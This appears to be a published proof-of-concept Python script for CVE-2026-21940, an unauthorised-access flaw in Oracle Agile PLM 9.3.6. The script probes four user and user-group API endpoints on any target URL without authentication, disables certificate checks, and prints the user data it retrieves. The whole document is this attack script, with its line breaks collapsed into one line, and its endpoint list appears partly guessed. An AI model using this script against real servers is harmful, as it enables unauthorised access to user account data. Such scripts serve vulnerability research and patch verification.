CVE-2026-21940 Oracle Agile PLM 9.3.6 未授权访问漏洞

import requests import sys # CVE-2026-21940 PoC - Oracle Agile PLM Unauthorized Access # Target: Oracle Agile PLM 9.3.6 # Component: User and User Group def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2026-21940 """ endpoints = [ "/Agile/ux3/services/userService/users", "/Agile/ux3/services/userGroupService/userGroups", "/Agile/ux3/api/user/list", "/Agile/ux3/api/userGroup/list" ] print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2026-21940 - Oracle Agile PLM Unauthorized Access\n") for endpoint in endpoints: url = target_url.rstrip('/') + endpoint try: print(f"[*] Testing endpoint: {endpoint}") response = requests.get(url, timeout=10, verify=False) if response.status_code == 200: content_type = response.headers.get('Content-Type', '') if 'json' in content_type or '{' in response.text[:100]: print(f"[!] VULNERABLE: {endpoint}") print(f"[+] Status: {response.status_code}") print(f"[+] Response preview: {response.text[:500]}...") return True elif response.status_code == 401: print(f"[-] Protected: {endpoint} (401 Unauthorized)") else: print(f"[-] Response: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error testing {endpoint}: {str(e)}") print("\n[*] Manual testing recommended") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} https://vulnerable-server.com") sys.exit(1) target = sys.argv[1] check_vulnerability(target)